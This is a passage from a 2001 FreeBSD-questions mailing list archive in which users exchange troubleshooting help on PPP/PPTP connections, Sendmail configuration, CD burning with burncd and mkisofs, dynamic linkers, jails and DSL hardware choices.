In-Reply-To: ; from tlegvold@hotmail.com on Wed, Nov 21, 2001 at 10:20:54AM +0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello Thor On Wed, Nov 21, 2001 at 10:20:54AM +0000 Thor Legvold wrote: > Well, I've asked 3 or 4 times now in the last 3 weeks, and haven't received > any answers. Posted to comp.unix.bsd.freebsd.misc and to both questions- and > net@freebsd.org. > > That leads me to conclude that either I'm: asking the wrong question(s), > asking in an improper manner or asking the wrong people/wrong group. > > I *have* searched Deja, I *have* read the docs and attempted to get this to > work - I really don't know where else I could be looking or asking for more > information. If my question was worded poorly or inappropiate, I would > appreciate a pointer as to where/how/who I might contact in order to get my > system up and configured properly. > > Again, I'm trying to log into an ISP via PPTP for internet access, using > mpd-netgraph but also trying out pptpclient. I have a small home LAN that I > want to NAT/IPFW such that all machines can share the internet connection. > I'm running FreeBSD 4.4-Stable. I'm using a PPP connection to my ISP. My LAN has a hub, a Win2k workstation, a Win95 workstation and a FreeBSD 4.4 server (and workstation) with IPFW (my rules works fine), gatway function, dial-up (ISDN), DHCP etc. Do you test it without PPTP? If I can I will help you. -- Regards Martin PC-Service M. Schweizer; Gewerbehaus Schwarz; CH-8608 Bubikon Tel. +41 55 243 30 00; Fax: +41 55 243 33 22; http://www.pc-service.ch To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 11:32:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from fremont.bolingbroke.com (adsl-216-102-90-210.dsl.snfc21.pacbell.net [216.102.90.210]) by hub.freebsd.org (Postfix) with ESMTP id 327DF37B416 for ; Thu, 22 Nov 2001 11:32:14 -0800 (PST) Received: from fremont.bolingbroke.com (fremont.bolingbroke.com [216.102.90.210]) by fremont.bolingbroke.com (8.12.1/8.12.1) with ESMTP id fAMJWD20085873; Thu, 22 Nov 2001 11:32:13 -0800 (PST) Date: Thu, 22 Nov 2001 11:32:13 -0800 (PST) From: Ken Bolingbroke To: Ron Hensley Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Sendmail via Windows ICS In-Reply-To: <004c01c1737e$c6e89790$0273150a@woodstock.lanalyse.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Usually you can set your return address in the mail client you're using, and this is the preferred method. Just set that to a legitimate Internet address, and it should be delivered. If for some reason that isn't possible, you can also use Sendmail's masquerade feature to change the domain on all outgoing email. For more fine-grained control, you can use the genericstable feature to change any specific return address to something else. Ken Bolingbroke hacker@bolingbroke.com On Thu, 22 Nov 2001, Ron Hensley wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > My FreeBSD box is connected to a Windows 2000 server which connects > to the Internet Via > DirecPC Satelite. I seem to be unable to send outgoing mail from the > FreeBSD Box. > maillog shows the connection out to my ISPs Sendmail and it gets > accepted, but never makes > it to the destination. > > Im sure its going to their postmaster account as the return address > is to my FreeBSD Box, which has a non routable > 192.168.X.X Address, thus it cant send me the error and instead would > go to the ISPs postmaster. > > This is also why the mails dont get sent Im suire, mail sent from > 192.168.X.X Address, then mapped to > the ISP IP the 2000 server gets assigned, thus things dont match up. > > If I had a static ip address and hostname Id have sendmail masquerade > as that, however I get a differing dynamic one. > > Then there is the DirecPC itself mapping traffic to appear to have > come from THEM with a 3rd altogether different IP, so > the return traffic will come back over the Air. > > Is there a solution to this to get sendmail servers out there to > accept mail from my box? The dialup on the 2000 can send > so the ISP is allowing the DirecPC IPs to Relay it would seem. Id say > the reject point would be the ISPs > sendmail server seeing the 192.168.X.X not reslving to a name from > its point of view, or the servers it tries > to forward the mail on to. > > -----BEGIN PGP SIGNATURE----- > Version: PGPfreeware 6.5.8 for non-commercial use > > iQA/AwUBO/073lFb04N5DzUjEQJ+9wCfdGVtEzKM3LRZLv5C/mSTI/HouIcAoMr0 > xjqfW98476C4baw4fIuYy08h > =wEg2 > -----END PGP SIGNATURE----- > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 11:36:28 2001 Delivered-To: freebsd-questions@freebsd.org Received: from bdg.centrin.net.id (DialupBdg244-233.centrin.net.id [202.146.244.233]) by hub.freebsd.org (Postfix) with ESMTP id 4319037B416 for ; Thu, 22 Nov 2001 11:36:11 -0800 (PST) Received: by bdg.centrin.net.id (Postfix, from userid 1000) id 80860D5A5; Fri, 23 Nov 2001 01:46:31 +0700 (JAVT) Date: Fri, 23 Nov 2001 01:46:31 +0700 From: budsz To: ixion@inicia.es Cc: freebsd-questions@FreeBSD.ORG Subject: Re: ppp error Message-ID: <20011123014631.A10845@bdg.centrin.net.id> Reply-To: budsz References: <3BF8A82300002035@netmail.tiscalinet.es> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <3BF8A82300002035@netmail.tiscalinet.es> User-Agent: Mutt/1.3.22.1i X-Fingerprint: A05A 268C 3CD4 ABBD D9EB 11E1 F64C 4B4E 6269 5304 X-Pub-keys: http://bdg.centrin.net.id/~budsan02/pubkey.txt X-Verify: MD5 (pubkey.txt) = 999274d3ae770caf0d77ce5796ed201e X-Uptime: 1:26AM up 7:51, 9 users, load averages: 0.03, 0.15, 0.26 X-Operation-System: FreeBSD 4.3-STABLE i386 X-Organization: Kumprang X-Provide: Warnet & Game Network X-Address: Melong No 29 Bandung 40261 West Java Indonesia Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, Nov 22, 2001 at 12:49:41PM -0500, ixion@inicia.es wrote: >hi, >i have edited /etc/ppp.conf several times with the info i read on the HandBook >and all over the net. however, i have never surfed freely. >it sometimes connects (sometimes, when using kppp, it runs, but most of >the time, even if i use kppp, i can´t finish the tcp 3 way handshake (as >i was told)!)...without running the X server (console mode) i have never >got PPP running... >in the next lines i paste the content of /etc/ppp.conf > >default: > set device /dev/cuaa1 > set speed 115200 > set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" AT \ > OK-AT-OK ATE1Q0 OK \\ATDP\\T TIMEOUT 40 CONNECT" > set timeout 180 > >airtelnet: > set phone 1071943101110 > set login > set authname xxxxxx > set authkey xxxxxx > set timeout 120 > set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0 > add default HISADDR > dial <=====is this line needed? > >the content of /etc/resolv.conf is: > >domain airtel.net >nameserver xxx.xxx.xxx.xxx >nameserver xxx.xxx.xxx.xxx > >i don´t know what´s wrong :-( >i have ppp compiled on my kernel... >Really Thx in advance :-) >Iker Cazenave >PD: id the info i have given to you is not enough...i will attach the log >file if you consider it necessary :-) At the first time you should check with ifconfig command. and u should see "ppp" field, after that check the modem support (I use US Robotic Modem External and it's auto detect by FreeBSD), and try connect to your ISP, My prediction maybe you've trouble with ISP. please call your administrator, BTW dial on your configuration doesn't needed, it's comment via sheel interactive. for the test please uncomment option "set timeout 120" this mean you will disconnect after 120 second. -- budsz To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 11:42:25 2001 Delivered-To: freebsd-questions@freebsd.org Received: from granger.centurytel.net (granger.centurytel.net [209.142.136.117]) by hub.freebsd.org (Postfix) with ESMTP id EC60A37B405 for ; Thu, 22 Nov 2001 11:42:21 -0800 (PST) Received: from centurytel.net (pppoe0424.gh.centurytel.net [209.206.249.207]) by granger.centurytel.net (8.11.6/8.11.6) with ESMTP id fAMJgJY15982 for ; Thu, 22 Nov 2001 13:42:20 -0600 (CST) Message-ID: <3BFD568B.AC2DAF2E@centurytel.net> Date: Thu, 22 Nov 2001 11:48:27 -0800 From: Islandman Organization: Vashon Island X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: FreeBSD Questions Subject: Any pointers for burncd problem? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG FreeBSD-questions wizards, I thought I'd play with the CD burner this morning. Seems to 'jsut about' write the files OK, but complains in the end and the CDs are inaccessible on FreeBSD or Win98. If you have any suggestions on the sequence below, I'd be grateful... % burncd -e -f /dev/acd0c data /root/.netscape/co* fixate next writeable LBA 0 writing from file /root/.netscape/cookies size 25 KB written this track 26 KB (104%) total 26 KB fixating CD, please wait.. Nov 22 10:57:01 islandman /kernel: acd0: READ_TOC - ILLEGAL REQUEST asc=24 ascq=00 sks=40 00 02 error=00 Nov 22 10:57:01 islandman /kernel: acd0: READ_TOC - ILLEGAL REQUEST asc=24 ascq=00 sks=40 00 02 error=00 % mount /cdrom cd9660: /dev/acd0c: Invalid argument Saw this on one on a help page list: cdcontrol> info Starting track = 1, ending track = 2, TOC size = 26 bytes track start duration block length type ------------------------------------------------- 1 0:02.00 0:06.00 0 300 data 2 0:06.00 0:19.25 300 1300 audio 170 0:23.25 - 1600 - - cdcontrol> cdcontrol> quit % mount_cd9660 -s 0 /dev/acd0c /cdrom mount_cd9660: /dev/acd0c: Invalid argument Lastly, the FreeBSD archives aren't very encouraging: http://mail.os.org.za/pipermail/freebsd/2001-April/005474.html Guess I could always move it to my Win box :( -Brian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 11:42:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from netapp.USlink.net (netapp.uslink.net [199.199.168.10]) by hub.freebsd.org (Postfix) with ESMTP id 8362137B417 for ; Thu, 22 Nov 2001 11:42:36 -0800 (PST) Received: from eslinger (uslink-cvx1-111.uslink.net [209.32.170.111]) by netapp.USlink.net (Switch-2.0.6/Switch-2.0.1) with SMTP id fAMJgVo07015 for ; Thu, 22 Nov 2001 13:42:32 -0600 (CST) Reply-To: From: "Michael W. Johnson" To: Subject: Beta Testing Date: Thu, 22 Nov 2001 13:40:13 -0600 Message-ID: MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_000A_01C1735B.39292320" X-Priority: 1 (Highest) X-MSMail-Priority: High X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: High Sensitivity: Company-Confidential X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Disposition-Notification-To: "Michael W. Johnson" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_000A_01C1735B.39292320 Content-Type: multipart/alternative; boundary="----=_NextPart_001_000B_01C1735B.39525600" ------=_NextPart_001_000B_01C1735B.39525600 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit I signed up to be a beta tester, I got an email saying that it was on the way and I never received it. Why? Will you re-mail it? Michael Johnson 401 37th Ave. N. Mpls., MN. 55412 Thank You, Mike ------=_NextPart_001_000B_01C1735B.39525600 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I signed = up to be a=20 beta tester, I got an email saying that it was on the way and I never = received=20 it. Why? Will you re-mail it?
 
Michael=20 Johnson
401 37th Ave. N.
Mpls., MN. 55412
 
Thank=20 You,
 
Mike
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Thu, 22 Nov 2001 12:01:55 -0800 (PST) Received: from colt.ncptiddische.net (ppp-235.wobline.de [212.68.69.246]) by mcqueen.wolfsburg.de (8.11.3/8.11.3/tw-20010821) with ESMTP id fAMK1oN25163; Thu, 22 Nov 2001 21:01:50 +0100 Received: from jodie.ncptiddische.net (jodie.ncptiddische.net [192.168.0.2]) by colt.ncptiddische.net (8.11.6/8.11.6) with ESMTP id fAMK2ft31783; Thu, 22 Nov 2001 21:02:41 +0100 (CET) (envelope-from nils@tisys.org) Received: from jodie.ncptiddische.net (jodie.ncptiddische.net [192.168.0.2]) by jodie.ncptiddische.net (8.11.6/8.11.6) with ESMTP id fAMK1Br20824; Thu, 22 Nov 2001 21:01:47 +0100 (CET) (envelope-from nils@tisys.org) Date: Thu, 22 Nov 2001 21:01:11 +0100 (CET) From: Nils Holland To: Islandman Cc: FreeBSD Questions Subject: Re: Any pointers for burncd problem? In-Reply-To: <3BFD568B.AC2DAF2E@centurytel.net> Message-ID: <20011122205504.Y20804-100000@jodie.ncptiddische.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, 22 Nov 2001, Islandman wrote: > FreeBSD-questions wizards, > > I thought I'd play with the CD burner this morning. Seems to 'jsut > about' write the files OK, but complains in the end and the CDs are > inaccessible on FreeBSD or Win98. If you have any suggestions on the > sequence below, I'd be grateful... Well, you need to make an iso image out of the files you want to burn onto your CDs before you actually burn them, have a look at mkisofs in /usr/ports/sysutils/mkisofs. After having installed mkisofs, you'D burn a CD about like that: 1) Copy all the files to be burned in a directory, for example /home/nils/cddir 2) Run mkisofs *about* like this: mkisofs -r -o /home/nils/cdimage /home/nils/cddir. Actual options you will want to use may vary, but "man mkisofs" should tell you all you need to know. 3) Now, burn the isp image: burncd -f /dev/acd1c -s data /home/nils/cdimage fixate That's about all! You can now mount your CD (use the mount_cd9660 command). One more note: The erros you receive at the end of burning the CD can most likely be discarded. I get them all of the time on an old Mitsumi burner, yet all CDs burned by that device are perfectly usable. Greetings Nils Nils Holland Ti Systems - FreeBSD in Tiddische, Germany http://www.tisys.org * nils@tisys.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 12: 3:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from femail12.sdc1.sfba.home.com (femail12.sdc1.sfba.home.com [24.0.95.108]) by hub.freebsd.org (Postfix) with ESMTP id D4A7037B405 for ; Thu, 22 Nov 2001 12:03:06 -0800 (PST) Received: from vhds001 ([24.78.12.247]) by femail12.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP id <20011122200306.XPZR23187.femail12.sdc1.sfba.home.com@vhds001> for ; Thu, 22 Nov 2001 12:03:06 -0800 Message-ID: <01cf01c17391$01c7d490$090ea8c0@vhds001> Reply-To: "Justin P. Michel" From: "Justin P. Michel" To: References: Subject: Re: Sendmail Configuration Date: Thu, 22 Nov 2001 15:05:17 -0500 Organization: Continuum MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_01CC_01C17367.186B5E80" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_01CC_01C17367.186B5E80 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Greetings, I am using FBSD V4.4 Release, with the bundled version of Sendmail. It seems to be working fine, however, I continually get the error = message on the console: jcontinuum sendmail: gethostbyaddr(192.168.14.1) failed: 1 I believe this error is pertaining to sendmail not being able to get the = hostname of my system. I thought I set it in the right place in the = sendmail.cf file: # my official domain name # ... define this only if sendmail cannot automatically determine your = domain Dj$w.jcontinuum.ca However, even after a reboot, it still gives me the same error. Can = somebody tell me where to set this properly? Regards, Justin P. Michel J Continuum ------=_NextPart_000_01CC_01C17367.186B5E80 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Greetings,
 
I am using FBSD V4.4 Release, with the = bundled=20 version of Sendmail.
 
It seems to be working fine, however, I = continually=20 get the error message on the console:
 
jcontinuum sendmail: = gethostbyaddr(192.168.14.1)=20 failed: 1
 
I believe this error is pertaining to = sendmail not=20 being able to get the hostname of my system. I thought I set it in = the=20 right place in the sendmail.cf file:
 
# my official domain name
# ... define this only if sendmail = cannot=20 automatically determine your domain
Dj$w.jcontinuum.ca
 
However, even after a reboot, it still = gives me the=20 same error.  Can somebody tell me where to set this = properly?
 
Regards,
 
Justin P. Michel
J Continuum
------=_NextPart_000_01CC_01C17367.186B5E80-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 12:11:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from albatross.prod.itd.earthlink.net (albatross.mail.pas.earthlink.net [207.217.120.120]) by hub.freebsd.org (Postfix) with ESMTP id 0F0C437B417 for ; Thu, 22 Nov 2001 12:11:16 -0800 (PST) Received: from lsanca1-ar4-224-003.elnk.dsl.gtei.net ([4.33.224.3] helo=tonyl0hivzdf57) by albatross.prod.itd.earthlink.net with smtp (Exim 3.33 #1) id 1670Bj-0002x0-00 for freebsd-questions@FreeBSD.ORG; Thu, 22 Nov 2001 12:11:11 -0800 Message-ID: <000801c17391$d4917840$0301a8c0@tonyl0hivzdf57> From: "Anthony D'asero" To: Subject: ? Date: Thu, 22 Nov 2001 12:11:08 -0800 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0005_01C1734E.C46E70A0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C1734E.C46E70A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi: I did install the 4.4 version of Linux X86, and after spending 6 = hours trying to get thru LOGIN I get a dollar sign, and nothing else. What do you use this thing for, it does not seem to be able to do any = thing. Please help me understand, I am lost. Thank you. Anthony D'asero ------=_NextPart_000_0005_01C1734E.C46E70A0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi: I did install the 4.4 version of = Linux X86, and=20 after spending 6 hours trying to get thru LOGIN I get a dollar sign, and = nothing=20 else.
What do you use this thing for, it = does not=20 seem to be able to do any thing.
Please help me understand, I am = lost.
Thank you.
Anthony D'asero
 
 
------=_NextPart_000_0005_01C1734E.C46E70A0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 12:16:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id A7AEC37B416 for ; Thu, 22 Nov 2001 12:16:41 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 195FB66B27; Thu, 22 Nov 2001 12:16:41 -0800 (PST) Date: Thu, 22 Nov 2001 12:16:40 -0800 From: Kris Kennaway To: Dmitry Mottl Cc: freebsd-questions@FreeBSD.ORG Subject: Re: dynamic loaders Message-ID: <20011122121640.D29254@xor.obsecurity.org> References: <3BFD1A8F.1000504@sinp.msu.ru> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="q9KOos5vDmpwPx9o" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3BFD1A8F.1000504@sinp.msu.ru>; from dima@sinp.msu.ru on Thu, Nov 22, 2001 at 06:32:31PM +0300 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --q9KOos5vDmpwPx9o Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Nov 22, 2001 at 06:32:31PM +0300, Dmitry Mottl wrote: > Hi, All >=20 > What are /usr/libexec/ld.so and /usr/libexec/ld-elf.so.1? ld.so is the old a.out dynamic linker. ld-elf is the ELF dynamic linker; see rtld(1). FreeBSD prior to 3.1-RELEASE used the a.out binary format, and this was changed to ELF for 3.1. > Why compat20,compat21,compat22 of FreeBSD distributive > have their own /usr/libexec/ld.so? Because they presumably were different, and you need them to run binaries built on those version. > How do I install ALL compat2? Install all of compat20, compat21, compat22. Kris --q9KOos5vDmpwPx9o Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7/V0oWry0BWjoQKURAurKAKCMgj5U8uDZAIrVhmXe/807sr3JZgCfUycP 9OmRtiaqLQEYt0KiyVWewZM= =D9lC -----END PGP SIGNATURE----- --q9KOos5vDmpwPx9o-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 12:17:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id C154537B405 for ; Thu, 22 Nov 2001 12:17:41 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 5C6BB66B27; Thu, 22 Nov 2001 12:17:41 -0800 (PST) Date: Thu, 22 Nov 2001 12:17:41 -0800 From: Kris Kennaway To: Wayne Cuddy Cc: freebsd-questions@FreeBSD.ORG Subject: Re: chroot() vs jail() Message-ID: <20011122121741.E29254@xor.obsecurity.org> References: <20011122114433.A21619@crb-web.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="5oH/S/bF6lOfqCQb" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011122114433.A21619@crb-web.com>; from wcuddy@crb-web.com on Thu, Nov 22, 2001 at 11:44:33AM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --5oH/S/bF6lOfqCQb Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Thu, Nov 22, 2001 at 11:44:33AM -0500, Wayne Cuddy wrote: > It appears that jail provides some added functionality over chroot. Can anyone > explain the differences between jail/chroot and when you would choose one over > the other? Try reading the manpages and the mailing list archives; it's described well. Kris --5oH/S/bF6lOfqCQb Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7/V1kWry0BWjoQKURAorkAJ9SGldwtsof9YQdDFUq3xEa0pIvqwCfTIFt SHEPFHN3jpQNFv293qHbGzg= =VVbs -----END PGP SIGNATURE----- --5oH/S/bF6lOfqCQb-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 12:18:43 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lists.blarg.net (lists.blarg.net [206.124.128.17]) by hub.freebsd.org (Postfix) with ESMTP id 85F5A37B416 for ; Thu, 22 Nov 2001 12:18:39 -0800 (PST) Received: from thig.blarg.net (thig.blarg.net [206.124.128.18]) by lists.blarg.net (Postfix) with ESMTP id 2F3F7BD3F; Thu, 22 Nov 2001 12:18:39 -0800 (PST) Received: from localhost.localdomain ([206.124.139.115]) by thig.blarg.net (8.9.3/8.9.3) with ESMTP id MAA14528; Thu, 22 Nov 2001 12:18:38 -0800 Received: (from jojo@localhost) by localhost.localdomain (8.11.6/8.11.3) id fAMKGXL75594; Thu, 22 Nov 2001 12:16:33 -0800 (PST) (envelope-from swear@blarg.net) To: tyler spivey Cc: freebsd-questions@FreeBSD.ORG Subject: Re: question about installing emacs References: <20011122052705.CSDQ23924.femail32.sdc1.sfba.home.com@tspivey8> From: swear@blarg.net (Gary W. Swearingen) Date: 22 Nov 2001 12:16:31 -0800 In-Reply-To: <20011122052705.CSDQ23924.femail32.sdc1.sfba.home.com@tspivey8> Message-ID: Lines: 12 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG tyler spivey writes: > in the Makefile it says > if defined(WITHOUT_X11) > .. etc > how ca i define that? I think you can put "WITHOUT_X11=t" in /etc/make.conf or do "make WITHOUT_X11=t" or in some shells, "WITHOUT_X11=t make" or just edit the Makefile. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 12:22:36 2001 Delivered-To: freebsd-questions@freebsd.org Received: from operamail.com (operamail.infinite.com [199.29.68.126]) by hub.freebsd.org (Postfix) with ESMTP id 88AEC37B405 for ; Thu, 22 Nov 2001 12:22:28 -0800 (PST) Received: from bro5637 [206.191.70.3] (hogtown@operamail.com) by operamail.com; Thu, 22 Nov 2001 15:22:17 -0500 X-WM-Posted-At: operamail.com; Thu, 22 Nov 01 15:22:17 -0500 Message-ID: <000c01c17393$fd7255c0$660f129f@bro5637> From: "Steve Brown" To: "Fuji Zhang" Cc: References: <000d01c17381$94666b00$7301a8c0@eagle.ca> Subject: Re: high speed internet connection and lesstif question Date: Thu, 22 Nov 2001 15:26:30 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I'm no guru, but I just went through all of this and haven't forgotten yet. I suspect whoever you spoke to at Bell is wrong about USB, but just in case they're not: they don't "support" FreeBSD or Linux, so watch they don't sell you on hardware that will only work under Windows. I believe your best bet is to forget the USB, part with you're $25 -> $30 (CDN) and pick up an ethernet card. Make sure it's on this list: ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/4.4-RELEASE/HARDWARE.TXT I suggest the D-Link DFE-530TX card, it works under FreeBSD (I can confirm it's good on 4.2 and 4.4), Linux, Windows. Don't pay more than $35 for it. (Bell will include one for this price in their kit, but they may not be able to tell you what make/model of card they have). On my box, FreeBSD found this card right away, no configuration nescessary (/dev/vr0) A few good reasons to stick with Ethernet: - It will also work with a cable modem if you decide to try Rogers/Shaw - or any other ISP's DSL package - If you decide to share the connection with more than 1 computer via BB router (Link-Sys, SMC Barricade, etc) you'll already be prepared. These goodies cost under $140 CDN and you get the benefit of an IP firewall as well. ScaryG has it right about the ppp.conf and kernel config. I -did- have to re-compile my 4.4 kernel to get it to work, the handbook does appear to be wrong on this. Using his scheme, he won't have to give any more privileges to his normal users for them to be able to connect. Or you could use ppp_mode="auto" and put the line "set timeout [some number of seconds here, delete the braces]" in ppp.conf if you're not comfortable being "always on". Actually, if you have a Windows machine (or a dual boot Windows/FreeBSD like mine) -and- you're a newbie, a router can make your life easier. Last week I bought a SMC Barricade @ Futureshop. I configured it (via browser, no "drivers" or anything) and was online 10 minutes after opening the box. I then (deliberately) wiped out my entire FreeBSD partition. I then booted FreeBSD with the 2 floppies as per new install, went straight to the post-install "configure additional network interfaces" -before- installing the system and connected to internet with 3 menu choices (confirm NIC, try ipv6->NO, try DHCP-YES). Then I re-installed FreeBSD in about 35 minutes by FTP entirely over Sympatico HS and when I re-booted the system I was online without having to do anything at all, nor will I have to make -any- changes to the FreeBSD system if I change to any other ISP. (even dialup, router has RS232 port on the WAN side for external analogue modem... but of course I kept my ppp.conf etc in case the router fails). The Sympatico kit normally contains an ethernet cable, DSL modem with power supply, phone filters, Windows install CD (you won't need the CD for Windows if you use a router), manual, and a card with your internet settings, userID/Password, etc. Point being, the DSL modem has an ethernet jack, I'm not aware of any that connect to USB. Have fun! -Steve ----- Original Message ----- From: "ScaryG" To: "Fuji Zhang" Cc: Sent: November 22, 2001 1:14 PM Subject: Re: high speed internet connection and lesstif question > > hi, thx for replying. no. i don't have any network card. when i called > > BELL they seem to suggest if i have USB port on my MB i don't need to have > > network card. i have no experience or any knowledge in this thing. > > Oh, well that's a little bit different. > > First you'd have to ensure your USB DSL "modem" is supported under FreeBSD. > I have no idea if they are or aren't -- sorry. > > It's quite easy if you have an external, ethernet based DSL 